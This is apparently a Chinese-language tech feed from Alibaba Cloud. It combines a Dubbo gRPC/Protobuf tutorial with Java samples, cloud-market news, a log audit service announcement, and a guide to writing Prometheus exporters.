        import io.grpc.examples.helloworld.HelloRequest;
        import io.grpc.stub.StreamObserver;
        
        public class GrpcGreeterImpl extends GreeterGrpc.GreeterImplBase {
          @Override
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver)         {
            System.out.println("Received request from client.");
            System.out.println("Executing thread is " + Thread.currentThread().getName());
            HelloReply reply = HelloReply.newBuilder()
              .setMessage("Hello " +     request.getName()).build();
            responseObserver.onNext(reply);
            responseObserver.onCompleted();
          }
        }
        1. Provider 端暴露 Dubbo 服务

        以 Spring XML 为例

        <dubbo:application name="demo-provider"/>
        
        <!-- 指定服务暴露协议为 gRPC -->
        <dubbo:protocol id="grpc" name="grpc"/>
        
        <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
        
        <bean id="greeter" class="org.apache.dubbo.samples.basic.impl.GrpcGreeterImpl"/>
        
        <!-- 指定 protoc-gen-dubbo-java 生成的接口 -->
        <dubbo:service interface="io.grpc.examples.helloworld.GreeterGrpc$IGreeter" ref="greeter" protocol="grpc"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context =
            new ClassPathXmlApplicationContext("spring/dubbo-demo-provider.xml");
          context.start();
        
          System.out.println("dubbo service started");
          new CountDownLatch(1).await();
        }
        1. 引用 Dubbo 服务
        <dubbo:application name="demo-consumer"/>
        
        <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
        
        <!-- 指定 protoc-gen-dubbo-java 生成的接口 -->
        <dubbo:reference id="greeter" interface="io.grpc.examples.helloworld.GreeterGrpc$IGreeter" protocol="grpc"/>
        public static void main(String[] args) throws IOException {
          ClassPathXmlApplicationContext context =
            new ClassPathXmlApplicationContext("spring/dubbo-demo-consumer.xml");
          context.start();
        
          GreeterGrpc.IGreeter greeter = (GreeterGrpc.IGreeter) context.getBean("greeter");
        
          HelloReply reply = greeter.sayHello(HelloRequest.newBuilder().setName("world!").build());
          System.out.println("Result: " + reply.getMessage());
        
          System.in.read();
        }

        示例1附:高级用法

        一、异步调用

        再来看一遍 protoc-gen-dubbo-java 生成的接口:

        /**
        * Code generated for Dubbo
        */
        public interface IGreeter {
          default public HelloReply sayHello(HelloRequest request) {
            // ......
          }
          default public ListenableFuture<HelloReply> sayHelloAsync(HelloRequest request) {
            // ......
          }
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver);
        }

        这里为 sayHello 方法生成了三种类型的重载方法,分别用于同步调用、异步调用和流式调用,如果消费端要进行异步调用,直接调用 sayHelloAsync() 即可:

        public static void main(String[] args) throws IOException {
          // ...
          GreeterGrpc.IGreeter greeter = (GreeterGrpc.IGreeter) context.getBean("greeter");
          ListenableFuture<HelloReply> future =   
            greeter.sayHAsyncello(HelloRequest.newBuilder().setName("world!").build());
          // ...
        }

        二、高级配置

        由于当前实现方式是直接集成了 gRPC-java SDK,因此很多配置还没有和 Dubbo 侧对齐,或者还没有以 Dubbo 的配置形式开放,因此,为了提供最大的灵活性,我们直接把 gRPC-java 的配置接口暴露了出来。

        绝大多数场景下,你可能并不会用到以下扩展,因为它们更多的是对 gRPC 协议的拦截或者 HTTP/2 层面的配置。同时使用这些扩展点可能需要对 HTTP/2 或 gRPC 有基本的了解。

        扩展点

        目前支持的扩展点如下:

        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ClientInterceptor
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.GrpcConfigurator
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ServerInterceptor
        • org.apache.dubbo.rpc.protocol.grpc.interceptors.ServerTransportFilter

        GrpcConfigurator 是最通用的扩展点,我们以此为例来说明一下,其基本定义如下:

        public interface GrpcConfigurator {
          // 用来定制 gRPC NettyServerBuilder
          default NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) {
            return builder;
          }
          // 用来定制 gRPC NettyChannelBuilder
          default NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url) {
            return builder;
          }
          // 用来定制 gRPC CallOptions, 定义某个服务在每次请求间传递数据
          default CallOptions configureCallOptions(CallOptions options, URL url) {
            return options;
          }
        }

        以下是一个示例扩展实现:

        public class MyGrpcConfigurator implements GrpcConfigurator {
          private final ExecutorService executor = Executors
            .newFixedThreadPool(200, new NamedThreadFactory("Customized-grpc", true));
        
          @Override
          public NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) {
            return builder.executor(executor);
          }
        
          @Override
          public NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url)
          {
            return builder.flowControlWindow(10);
          }
        
          @Override
          public CallOptions configureCallOptions(CallOptions options, URL url) {
            return options.withOption(CallOptions.Key.create("key"), "value");
          }
        }

        配置为 Dubbo SPI,`resources/META-INF/services 增加配置文件

        default=org.apache.dubbo.samples.basic.comtomize.MyGrpcConfigurator
        1. 指定 Provider 端线程池
          默认用的是 Dubbo 的线程池,有 fixed (默认)、cached、direct 等类型。以下演示了切换为业务自定义线程池。
        private final ExecutorService executor = Executors
                     .newFixedThreadPool(200, new NamedThreadFactory("Customized-grpc", true));
        
        public NettyServerBuilder configureServerBuilder(NettyServerBuilder builder, URL url) 
        {
          return builder.executor(executor);
        }
        1. 指定 Consumer 端限流值
          设置 Consumer 限流值为 10
        @Override
        public NettyChannelBuilder configureChannelBuilder(NettyChannelBuilder builder, URL url)
        {
          return builder.flowControlWindow(10);
        }
        1. 传递附加参数
          DemoService 服务调用传递 key
        @Override
        public CallOptions configureCallOptions(CallOptions options, URL url) {
          if (url.getServiceInterface().equals("xxx.DemoService")) {
            return options.withOption(CallOptions.Key.create("key"), "value");
          } else {
            return options;
          }
        }

        三、双向流式通信
        代码中还提供了一个支持双向流式通信的示例,同时提供了拦截流式调用的 Interceptor 扩展示例实现。

        * MyClientStreamInterceptor,工作在 client 端,拦截发出的请求流和接收的响应流
        * MyServerStreamInterceptor,工作在 server 端,拦截收到的请求流和发出的响应流
        

        四、TLS 配置

        配置方式和 Dubbo 提供的通用的 TLS 支持一致,具体请参见 Dubbo 官方文档

        示例 2, 使用 Protobuf 开发 Dubbo 服务

        下面,我们以一个具体的示例来看一下基于 Protobuf 的 Dubbo 服务开发流程。

        1. 定义服务

        通过标准 Protobuf 定义服务

            syntax = "proto3";
        
            option java_multiple_files = true;
            option java_package = "org.apache.dubbo.demo";
            option java_outer_classname = "DemoServiceProto";
            option objc_class_prefix = "DEMOSRV";
        
            package demoservice;
        
            // The demo service definition.
            service DemoService {
              rpc SayHello (HelloRequest) returns (HelloReply) {}
            }
        
            // The request message containing the user's name.
            message HelloRequest {
              string name = 1;
            }
        
            // The response message containing the greetings
            message HelloReply {
              string message = 1;
            }

        这里定义了一个 DemoService 服务,服务只包含一个 sayHello 方法,同时定义了方法的入参和出参。

        2. Compiler 编译服务

        1. 引入 Protobuf Compiler Maven 插件,同时指定 protoc-gen-dubbo-java RPC 扩展
        <plugin>
          <groupId>org.xolstice.maven.plugins</groupId>
          <artifactId>protobuf-maven-plugin</artifactId>
          <version>0.5.1</version>
          <configuration>
            <protocArtifact>com.google.protobuf:protoc:3.7.1:exe:${os.detected.classifier}    
            </protocArtifact>
            <pluginId>dubbo-grpc-java</pluginId>
            <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>
            <outputDirectory>build/generated/source/proto/main/java</outputDirectory>
            <clearOutputDirectory>false</clearOutputDirectory>
            <pluginParameter>dubbo</pluginParameter>
          </configuration>
          <executions>
            <execution>
              <goals>
                <goal>compile</goal>
                <goal>compile-custom</goal>
              </goals>
            </execution>
          </executions>
        </plugin>

        注意,这里与 Dubbo 对 gRPC 支持部分的区别在于: dubbo

        1. 生成 RPC stub
        # 运行以下 maven 命令
        $mvn clean compile

        生成的 Java 类如下:

        DemoServiceDubbo 为 Dubbo 定制的 stub

        public final class DemoServiceDubbo {
        
          private static final AtomicBoolean registered = new AtomicBoolean();
        
          private static Class<?> init() {
            Class<?> clazz = null;
            try {
              clazz = Class.forName(DemoServiceDubbo.class.getName());
              if (registered.compareAndSet(false, true)) {
                org.apache.dubbo.common.serialize.protobuf.support.ProtobufUtils.marshaller(
                  org.apache.dubbo.demo.HelloRequest.getDefaultInstance());
                org.apache.dubbo.common.serialize.protobuf.support.ProtobufUtils.marshaller(
                  org.apache.dubbo.demo.HelloReply.getDefaultInstance());
              }
            } catch (ClassNotFoundException e) {
              // ignore 
            }
            return clazz;
          }
        
          private DemoServiceDubbo() {}
        
          public static final String SERVICE_NAME = "demoservice.DemoService";
        
          /**
                  * Code generated for Dubbo
                  */
          public interface IDemoService {
        
            static Class<?> clazz = init();
            org.apache.dubbo.demo.HelloReply sayHello(org.apache.dubbo.demo.HelloRequest request);
        
            java.util.concurrent.CompletableFuture<org.apache.dubbo.demo.HelloReply> sayHelloAsync(
              org.apache.dubbo.demo.HelloRequest request);
        
          }
        
        }

        最值得注意的是 IDemoService 接口,它会作为 Dubbo 服务定义基础接口。

        3. 开发业务逻辑

        从这一步开始,所有开发流程就和直接定义 Java 接口一样了。实现接口定义业务逻辑。

        public class DemoServiceImpl implements DemoServiceDubbo.IDemoService {
          private static final Logger logger = LoggerFactory.getLogger(DemoServiceImpl.class);
        
          @Override
          public HelloReply sayHello(HelloRequest request) {
            logger.info("Hello " + request.getName() + ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
            return HelloReply.newBuilder()
              .setMessage("Hello " + request.getName() + ", response from provider: "
                          + RpcContext.getContext().getLocalAddress())
              .build();
          }
        
          @Override
          public CompletableFuture<HelloReply> sayHelloAsync(HelloRequest request) {
            return CompletableFuture.completedFuture(sayHello(request));
          }
        }

        4. 配置 Provider

        暴露 Dubbo 服务

        <dubbo:application name="demo-provider"/>
        
        <dubbo:registry address="zookeeper://127.0.0.1:2181"/>
        
        <dubbo:protocol name="dubbo"/>
        
        <bean id="demoService" class="org.apache.dubbo.demo.provider.DemoServiceImpl"/>
        
        <dubbo:service interface="org.apache.dubbo.demo.DemoServiceDubbo$IDemoService" ref="demoService"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context = 
            new ClassPathXmlApplicationContext("spring/dubbo-provider.xml");
          context.start();
          System.in.read();
        }

        5. 配置 Consumer

        引用 Dubbo 服务

        <dubbo:application name="demo-consumer"/>
        
        <dubbo:registry address="zookeeper://127.0.0.1:2181"/>
        
        <dubbo:reference id="demoService" check="false" interface="org.apache.dubbo.demo.DemoServiceDubbo$IDemoService"/>
        public static void main(String[] args) throws Exception {
          ClassPathXmlApplicationContext context = 
            new ClassPathXmlApplicationContext("spring/dubbo-consumer.xml");
          context.start();
          IDemoService demoService = context.getBean("demoService", IDemoService.class);
          HelloRequest request = HelloRequest.newBuilder().setName("Hello").build();
          HelloReply reply = demoService.sayHello(request);
          System.out.println("result: " + reply.getMessage());
          System.in.read();
        }

        展望

        RPC 协议是实现微服务体系互通的核心组件,通常采用不同的微服务通信框架则意味着绑定某一个特定的协议,如 Spring Cloud 基于 HTTP、gRPC 提供 gRPC over HTTP/2、Thrift Hessian 等都是自定义私有协议。

        Dubbo 自身同样提供了私有的 Dubbo 协议,这样你也能基于 Dubbo 协议构建微服务。但除了单一协议之外,和以上所有框架不同的,Dubbo 最大的优势在于它能同时支持多协议的暴露和消费,再配合 Dubbo 多注册订阅的模型,可以让 Dubbo 成为桥接多种不同协议的微服务体系的开发框架,轻松的实现不同微服务体系的互调互通或技术栈迁移。

        这篇文章详细讲解了 Dubbo 对 gRPC 协议的支持,再加上 Dubbo 之前已具备的对 REST、Hessian、Thrift 等的支持,使 Dubbo 在协议互调上具备了基础。我们只需要在服务发现模型上也能实现和这些不同体系的打通,就能解决不同技术栈互调和迁移的问题。关于这部分的具体应用场景以及工作模式,我们将在接下来的文章中来具体分析。

        作者信息:刘军,Github账号Chickenlj,Apache Dubbo PMC,项目核心维护者,见证了Dubbo从重启开源到Apache毕业的整个流程。现任职阿里巴巴中间件团队,参与服务框架、微服务相关工作,目前主要在推动Dubbo开源的云原生化。

        ]]>
        中南集团携手阿里云,开启数智地产时代 Fri, 02 May 2025 09:39:04 +0800 11月7日,中南集团与 阿里 云在中南置地总部签署框架合作协议,双方将基于此前云计算、数字化领域的良好合作基础,在互联网招采供应链、数字化全域营销、移动智能化办公、智能人居、智慧文旅、产业新城等板块开展全方位深度合作,充分发挥各自优势,共同打造地产行业数智化转型新标杆,开启数智地产时代。

        房地产企业已走过以快速建设周转为标志的黄金时期,在以未来空间运营为特点的后地产时代,争相驶入数字化变革快车道。作为中国房地产开发企业16强,中南置地始终坚持探索数智化转型之道,处于前列阵营。

        从房地产企业长期战略来看,发展多元化业务是新的增长点。 阿里 云将输出全链路解决方案,帮助中南置地构建一套灵活的中台体系,在稳定的底层技术架构之上,支撑企业往全域业务发展。生态伙伴端点科技将为此次合作做整体输出,加速合作进度,保障合作质量。

        中南置地常务副总裁姚可表示,房地产行业与智能科技的结合,将会带来行业的深刻变革。住宅、楼宇与园区的各种家电、设备、设施全面智能化,成为数字化空间,真正实现万物互联,大幅提升客户体验,改变商业模式。

        从开展企业内部变革到带领行业发展,中南置地一直走在前列, 阿里 云也始终是其最佳实践伙伴。

        阿里 云是全球领先的云计算及人工智能科技公司,在企业数字化转型方面具备丰富的实践经验和技术优势。在地产行业,中国一半以上的龙头企业都在采用 阿里 云。

        2018年,中南置地就与 阿里 云携手,协同端点科技共同打造“中南购”供应链协同云平台,完成房地产行业在采购业务上的数字化探索,完整覆盖需求提报、招投标寻源、合同管理、采购执行等业务流程,全面实现采购业务在线协同。平台上线后,各产业供应链协同效率提升高达50%以上。目前,33类甲供材类物料全部通过中南“购”平台进行线上采购,业务部门通过平台与3万家供应商进行在线协同。


        ]]>
        2019上半年中国公有云市场份额前五:阿里云、腾讯云、中国电信、AWS、华为云 Fri, 02 May 2025 09:39:04 +0800

        2019年11月7日,国际数据公司 (IDC)最新发布的《中国公有云服务市场(2019上半年)跟踪》报告显示,2019上半年中国公有云服务整体市场规模(IaaS/PaaS/SaaS)达到54.2亿美元,其中IaaS市场增速稳健,同比增长72.2%,PaaS市场增速有所回落,同比增长92.6%。


        报告显示,2019年上半年整体来看,中国公有云市场集中度进一步提升,无论是IaaS市场,还是IaaS+PaaS市场,排名前10的厂商目前已占据了超过90%的市场份额,呈现出群雄逐鹿的激烈竞争场面。


        从IaaS市场来看,阿里、腾讯、中国电信、AWS、华为位居前五,占据总体75.3%的市场份额。阿里以其强大的客户、生态和运营能力,持续助力互联网行业业务系统上云,不断深耕零售、政府和金融三大行业云化转型。腾讯借助其在云游戏和云视频方面的优势,以及微信、小程序等强大的生态转化能力,积极拓展产业互联网的发展机遇。中国电信凭借其运营商的天然属性,助力政府及工业客户进行数字化转型,打造云、5G、边缘计算等典型场景。AWS凭借其国际市场的领先地位,继续保持在中国企业出海市场的领先优势。华为云驶入发展快车道,无论是从组织扩张、市场运营还是行业拓展上都表现突出。此外,金山云互联网业务持续稳步增长,在金融云、政企和传统企业得到了突破性进展。百度云正逐步融合百度集团的生态体系,在不断丰富云服务综合能力的同时,持续增强视频、金融等细分行业的精耕细作。



        从IaaS+PaaS市场来看,阿里、腾讯、AWS、中国电信、华为共同占据74%的市场份额,持续保持领先优势。百度在PaaS市场表现仍然亮眼,其加速将AI底层技术和应用能力向云输入,刺激了百度云在该市场的长足增长。



        从行业发展来看,互联网行业依然占据公有云市场半壁江山,但增速趋于平稳。各大云服务商纷纷将目光投向了非互联网行业,如政府、金融、制造、服务等。数字政府、政务便民、金融科技、金融渠道变革、工业互联网、工业质量和流程优化等日渐成为云服务商的业务重点。随着数字化转型概念的深入,越来越多非互联网行业加快上云步伐,云服务商纷纷加入新战场,一时硝烟四起。


        IDC中国公有云服务研究经理诸葛兰表示:“云计算下半场开启,目前中国数字经济的发展正迈向新台阶。当前,新一代信息技术正朝着深度融合的方向发展,其中以云+AI+5G的组合最具代表性。云+5G可为企业智能累积战略性数据资源,AI的发展和普及亦需要云+5G搭桥铺路。云服务商可围绕如下几个关键点进行考量:云+AI+5G是重要引擎、政企上云正当时、开放共赢的云生态是关键。”

        2019 Q1中国公有云市场份额:阿里云、腾讯云、中国电信、AWS、金山云、华为云、百度云

        2019年8月2日,国际数据公司 (IDC)最新发布的《中国公有云服务市场(2019第一季度)跟踪》报告显示, 2019第一季度中国公有云服务整体市场规模(IaaS/PaaS/SaaS)达到24.6亿美金,同比增长67.9%。其中,IaaS市场增速有所减缓,同比增长74.1%;PaaS市场依然保持高增长,增速为101.9%。



        报告显示,从IaaS和PaaS整体市场份额来看,阿里、腾讯、中国电信、AWS、百度和华为占据了80.2%的市场份额,市场集中度进一步提升。从IaaS市场来看,公有云服务商竞争日趋激烈。阿里、腾讯、中国电信、AWS依然位居前四,总共占据70.2%的市场份额;金山、华为和百度市场规模相当接近,随着一季度华为和百度IaaS业务的快速增长,三家厂商均录得了第五位(5.2%)的市场份额。




        中国公有云市场正进入一个新的发展阶段。从早期的互联网公司使用云计算来降低IT采购开支、应对高并发查询交易,到过去2-3年部分大中型企业将非关键应用部署在公有云上进行 “试水” ,2019年可望看到越来越多的企业级用户将核心应用向云上迁移,以实现全面数字化转型。


        与此同时,AI、IoT、5G等ICT技术的飞速发展也正为云计算市场带来巨大的发展机遇。当前主要公有云服务商纷纷聚焦AI云产品和解决方案的研发,虽然AI尚未成为有效的现金流业务,但却是拉动IaaS市场消费的重要驱动力。随着5G商用的开展,5G将刺激边缘和客户终端数据的爆炸式增长,传统数据中心需要加快换代升级以满足5G对IT基础设施的更高需求,云计算成为最佳选择。


        IDC中国公有云服务研究经理诸葛兰表示,2019年一季度中国公有云市场开局良好,IaaS和PaaS市场依然保持高速增长。中国公有云市场无论是从厂商产品和服务研发层面,还是从企业用户应用层面,云计算发展的广度和深度都在与日俱增。公有云服务商在加速抢夺存量客户和大力拓展增量客户的同时,还必须持续推动产品和服务的迭代优化,关注企业传统应用云上迁移和云原生时代的深入需求,保证服务质量,真正为企业用户在降本增效、转型创新等方面带来价值。


        中国公有云服务市场(2018下半年)跟踪》报告

        5月6日,国际数据公司 (IDC)最新发布的《中国公有云服务市场(2018下半年)跟踪》报告显示, 2018下半年中国公有云服务整体市场规模(IaaS/PaaS/SaaS)超40亿美金,其中IaaS市场增速再创新高,同比增长88.4%,PaaS市场增速更是高达124.3%。


        报告显示,从IaaS和PaaS整体市场份额来看,除阿里、腾讯、中国电信、AWS外,百度首次跻身前五;从IaaS市场份额来看,阿里、腾讯、中国电信、AWS和金山云依然占据前五,持续保持领先优势。2018年,公有云市场后发厂商频频发力,华为、百度、浪潮、京东等均得力于其强大的研发和生态实力,实现了高达市场平均水平2-8倍的迅猛增长。 



        2018年,中国公有云市场发展热情空前高涨,一方是阿里、腾讯、中国电信、金山等先进入者的大步践行,另一方是华为、百度、浪潮、京东等后发力者的高歌猛进,一时亮点纷呈,看点迭出:


        • 云产品迭代创新快:2018年公有云产品发布主要围绕高性能计算、异构计算、容器和无服务器、机器学习和机器人应用、IoT平台、自研云原生数据库、混合云七大关键词展开。

        • 云与智能的强融合:智能云、云智能已然成为主要公有云服务商的未来战略,不仅体现在组织结构调整上,还体现在产品和服务研发上。基于云上的一体化的、使用便捷的AI服务能力成为公有云服务商比拼的重要方向。

        • 混合云成发展常态:企业用户的多样化需求、公有云服务商的多元化发展,使得混合云部署、管理和运维等逐渐发展为一个初具规模的专业化市场,并对越来越多传统的信息技术服务商、增值开发商等体现出强烈的吸引力。

        • 行业探索逐渐落地:虽然中国互联网行业的云计算应用已经相对成熟,但广大的非互联网行业对公有云的探索才开始不久。阿里、腾讯、华为、百度、浪潮等纷纷结合自身优势,明确了重点行业纵深发展战略,并借力合作生态布局不断拓展细分行业市场。


        IDC中国公有云服务研究经理诸葛兰表示:“2019年,公有云IaaS市场仍有望保持80%以上的高速增长,公有云服务商先进入者和后发力者将展开激烈交锋,更多传统IT分销商、独立软件开发(ISV)、系统集成商(SI)等将悉数转型进场,助推公有云服务商攻城略地。未来的市场竞争将不仅仅是公有云服务商之间的竞争,而是多个综合生态体之间的竞争,公有云服务商不仅要强化产品开放创新、深耕行业落地实践,还要明确其在生态中的卡位和定位,着重布局渠道和服务体系,谋求最大化生态发展格局。”


        ]]>
        简化云上等保,阿里云发布日志审计服务(公测) Fri, 02 May 2025 09:39:04 +0800 阿里云日志服务作为行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。目前发布日志审计服务功能,提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。

        背景

        日志审计是法律刚性需求

        无论海内外,尤其国内自从2017年《网络安全法》还是今年《等保2.0》的即将与12月实施,企业落实日志审计变得越迫切.

        日志审计是客户安全合规依赖基础

        很多企业自身有很成熟的法规条例以及合规审计团队,针对账号设备操作,网络行为进行审计,也需要对日志审计。一方面客户有成熟的内部合规团队,可以直接消费原生各类日志;客户也可以直接使用日志审计服务提供的审计支持,直接构建并输出合


        ]]>
        编写Prometheus Exporter: 以阿里云 Exporter 为例 Fri, 02 May 2025 09:39:04 +0800

        作者:吴叶磊

        来源:http://aleiwu.com/post/aliyun-exporter-bp/


        去年底我写了一个阿里云云监控的 Prometheus Exporter, 后续迭代的过程中有一些经验总结, 这篇文章就将它们串联起来做一个汇总, 讲讲为什么要写 Exporter 以及怎么写一个好用的 Exporter?


        何为 Prometheus Exporter?


        Prometheus 监控基于一个很简单的模型: 主动抓取目标的指标接口(HTTP 协议)获取监控指标, 再存储到本地或远端的时序数据库. Prometheus 对于指标接口有一套固定的格式要求, 格式大致如下:

        # HELP http_requests_total The total number of HTTP requests.
        # TYPE http_requests_total counter
        http_requests_total{method="post",code="200"} 1027
        http_requests_total{method="post",code="400"} 3

        对于自己写的代码, 我们当然可以使用 Prometheus 的 SDK 暴露出上述格式的指标. 但对于大量现有服务, 系统甚至硬件, 它们并不会暴露 Prometheus 格式的指标. 比如说:
        • Linux 的很多指标信息以文件形式记录在 /proc/ 下的各个目录中, 如 /proc/meminfo 里记录内存信息, /proc/stat 里记录 CPU 信息;
        • Redis 的监控信息需要通过 INFO 命令获取;
        • 路由器等硬件的监控信息需要通过 `SNMP** 协议获取;

        要监控这些目标, 我们有两个办法, 一是改动目标系统的代码, 让它主动暴露 Prometheus 格式的指标, 当然, 对于上述几个场景这种办法完全是不现实的. 这时候就只能采用第二种办法:

        • 编写一个代理服务, 将其它监控信息转化为 Prometheus 格式的指标

        这个代理服务的基本运作方式, 可以用下面这张图来表示:


        而这样的代理服务, 就称作 Prometheus Exporter, 对于上面那些常见的情形, 社区早就写好了成熟的 Exporter, 它们就是 node_exporter, redis_exporter 和 snmp_exporter.


        为什么要写 Exporter?


        嗯, 写 exporter 可以把监控信息接进 Prometheus, 那为什么非要接进 Prometheus 呢?

        我们不妨以阿里云云监控为例, 看看接进 Prometheus 的好处都有啥:

        阿里云免费提供了一部分云监控服务, 但云监控的免费功能其实很有限, 没办法支持这些痛点场景:

        • Adhoc TopN 查询: 比如”找到当前对公网带宽消耗最大的 10 台服务器”;
        • 容量规划: 比如”分析过去一个月某类型服务的资源用量”;
        • 高级报警: 比如”对比过去一周的指标值, 根据标准差进行报警”;
        • 整合业务监控: 业务的监控信息存在于另一套监控系统中, 两套系统的看板, 警报都很难联动;

        幸好, 云监控提供了获取监控信息的 API, 那么我们很自然地就能想到: 只要写一个阿里云云监控的 Exporter, 不就能将阿里云的监控信息整合到 Prometheus 体系当中了吗?
        当然, Exporter 就是做这个的!

        集成到 Prometheus 监控之后, 借助 PromQL 强大的表达能力和 Alertmanager, Grafana 的强大生态, 我们不仅能实现所有监控信息的整合打通, 还能获得更丰富的报警选择和更强的看板能力. 下面就是一个对 RDS 进行 TopN 查询的例子:


        这个动机对于其它类型的 Exporter 也都是适用的: 当一个系统本身暴露了监控信息, 却又无法接入 Prometheus, 我们就可以考虑写一个 exporter 把它接进来了.


        写一个好用的 Exporte


        类似 “阿里云 Exporter” 这种形式的 Exporter 是非常好写的, 逻辑就是一句话:

        • 写一个 Web 服务, 每当 Prometheus 请求我们这个服务问我们要指标的时候, 我们就请求云监控的 API 获得监控信息, 再转化为 Prometheus 的格式返回出去;

        但这样写完之后仅仅是”能用”, 要做到”好用”, 还有诸多考量.


        1、从文档开始


        Prometheus 官方文档中 Writing Exporter 这篇写得非常全面, 假如你要写 exporter 推荐先通读一遍, 限于篇幅, 这里只概括一下:

        • 做到开箱即用(默认配置就可以直接开始用)
        • 推荐使用 YAML 作为配置格式
        • 指标使用下划线命名
        • 为指标提供 HELP String (指标上的 # HELP 注释, 事实上这点大部分 exporter 都没做好)
        • 为 Exporter 本身的运行状态提供指标
        • 可以提供一个落地页

        下面几节中, 也会有和官方文档重复的部分, 但会略去理论性的部分(官方文档已经说的很好了), 着重讲实践例子.

        2、可配置化


        官方文档里讲了 Exporter 需要开箱即用, 但其实这只是基本需求, 在开箱即用的基础上, 一个良好的 Exporter 需要做到高度可配置化. 这是因为大部分 Exporter 暴露的指标中, 真正会用到的大概只有 20%, 冗余的 80% 指标不仅会消耗不必要的资源还会拖累整体的性能. 对于一般的 Exporter 而言, BP 是默认只提供必要的指标, 并且提供 extra 和 filter 配置, 允许用户配置额外的指标抓取和禁用一部分的默认指标. 而对于阿里云 Exporter 而言, 由于阿里云有数十种类型的资源(RDS, ECS, SLB…), 因此我们无法推测用户到底希望抓哪些监控信息, 因此只能全部交给用户配置. 当然, 项目还是提供了包含 SLB, RDS, ECS 和 Redis 的默认配置文件, 尽力做到开箱即用.


        3、Info 指标


        针对指标标签(Label), 我们考虑两点: “唯一性” 和 “可读性”:


        “唯一性”: 对于指标, 我们应当只提供有”唯一性” 的(Label), 比如说我们暴露出 “ECS 的内存使用” 这个指标. 这时, “ECS ID” 这个标签就可以唯一区分所有的指标. 这时我们假如再加入 “IP”, “操作系统”, “名字” 这样的标签并不会增加额外的区分度, 反而会在某些状况下造成一些问题. 比方说某台 ECS 的名字变了, 那么在 Prometheus 内部就会重新记录一个时间序列, 造成额外的开销和部分 PromQL 计算的问题, 比如下面的示意图:

        序列A {id="foo", name="旧名字"} ..................
        序列B {id="foo", name="新名字"}                   .................

        “可读性”: 上面的论断有一个例外, 那就是当标签涉及”可读性”时, 即使它不贡献额外的区分度, 也可以加上. 比如 “IP” 这样的标签, 假如我们只知道 ECS ID 而不知道 IP, 那么根本对不上号, 排查问题也会异常麻烦.

        可以看到, 唯一性和可读性之间其实有一些权衡, 那么有没有更好的办法呢?

        答案就是 Info 指标(Info Metric). 单独暴露一个指标, 用 label 来记录实例的”额外信息”, 比如:

        ecs_info{id="foo", name="DIO", os="linux", region="hangzhou", cpu="4", memory="16GB", ip="188.188.188.188"} 1
        这类指标的值习惯上永远为 1, 它们并记录实际的监控值, 仅仅记录 ecs 的一些额外信息. 而在使用的时候, 我们就可以通过 PromQL 的 “Join”(group_left) 语法将这些信息加入到最后的查询结果中:

        # 这条 PromQL 将 aliyun_meta_rds_info 中记录的描述和状态从添加到了 aliyun_acs_rds_dashboard_MemoryUsage 中
        aliyun_acs_rds_dashboard_MemoryUsage
            * on (instanceId) group_left(DBInstanceDescription,DBInstanceStatus)
            aliyun_meta_rds_info

        阿里云 Exporter 就大量使用了 Info 指标这种模式来提供实例的详细信息, 最后的效果就是监控指标本身非常简单, 只需要一个 ID 标签, 而看板上的信息依然非常丰富:


        4、记录 Exporter 本身的信息


        任何时候元监控(或者说自监控)都是首要的, 我们不可能依赖一个不被监控的系统去做监控. 因此了解怎么监控 exporter 并在编写时考虑到这点尤为重要.


        首先, 所有的 Prometheus 抓取目标都有一个 up 指标用来表明这个抓取目标能否被成功抓取. 因此, 假如 exporter 挂掉或无法正常工作了, 我们是可以从相应的 up 指标立刻知道并报警的.

        但 up 成立的条件仅仅是指标接口返回 200 并且内容可以被解析, 这个粒度太粗了. 假设我们用 exporter 监控了好几个不同的模块, 其中有几个模块的指标无法正常返回了, 这时候 up 就帮不上忙了.

        因此一个 BP 就是针对各个子模块, 甚至于各类指标, 记录细粒度的 up 信息, 比如阿里云 exporter 就选择了为每类指标都记录 up 信息:

        aliyun_acs_rds_dashboard_MemoryUsage{id="foo"1233456
        aliyun_acs_rds_dashboard_MemoryUsage{id="bar"3215123
        aliyun_acs_rds_dashboard_MemoryUsage_up 1

        当 aliyun_acs_rds_dashboard_MemoryUsage_up 这个指标出现 0 的时候, 我们就能知道 aliyun rds 内存信息的抓取不正常, 需要报警出来人工介入处理了.

        另外, 阿里云的指标抓取 API 是有流控和每月配额的, 因此阿里云 exporter 里还记录了各种抓取请求的次数和响应时间的分布, 分别用于做用量的规划和基于响应时间的监控报警. 这也是”监控 exporter”本身的一个例子.

        5、设计落地页


        过 node_exporter 的会知道, 当访问它的主页, 也就是根路径 / 时, 它会返回一个简单的页面, 这就是 exporter 的落地页(Landing Page).


        落地页什么都可以放, 我认为最有价值的是放文档和帮助信息(或者放对应的链接). 而文档中最有价值的莫过于对于每个指标项的说明, 没有人理解的指标没有任何价值.

        6、可选: 一键起监控


        这一点超出了 exporter 本身的范畴, 但确确实实是 exporter “好用” 的一个极大助力. exporter 本身是无法单独使用的, 而现实情况是 Prometheus, Grafana, Alertmanager 再对接 Slack, 钉钉啥的, 这一套假如需要从头搭建, 还是有一定的门槛(用 k8s 的话至少得看一下 helm chart 吧), 甚至于有些时候想搭建监控的是全栈(gan)工程师, 作为全公司的独苗, 很可能更多的精力需要花在跟进前端的新技术上(不我没有黑前端…). 这时候, 一个一键拉起整套监控系统的命令诱惑力是非常大的.


